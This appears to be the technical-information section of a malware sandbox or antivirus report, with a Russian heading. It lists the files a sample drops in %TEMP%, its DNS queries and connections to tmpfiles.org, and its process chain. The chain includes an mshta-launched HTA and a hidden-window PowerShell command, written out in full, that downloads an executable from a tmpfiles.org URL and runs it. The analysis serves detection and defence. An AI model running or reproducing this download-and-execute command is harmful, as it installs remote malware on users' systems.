Техническая информация
- https://tmpfiles.org/dl/3025477/client.exe как %temp%\exploit.exe
- %TEMP%\wow.hta
- %TEMP%\exeinfope.exe
- 'tm###les.org':443
- 'tm###les.org':443
- DNS ASK tm###les.org
- '%TEMP%\exeinfope.exe'
- '%WINDIR%\syswow64\mshta.exe' "%TEMP%\wow.hta"
- '<SYSTEM32>\cmd.exe' /c PowerShell.exe -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://tmpfiles.org/dl/3025477/client.exe','%temp%\exploit.exe');Start-Process '%temp%\exploit.exe'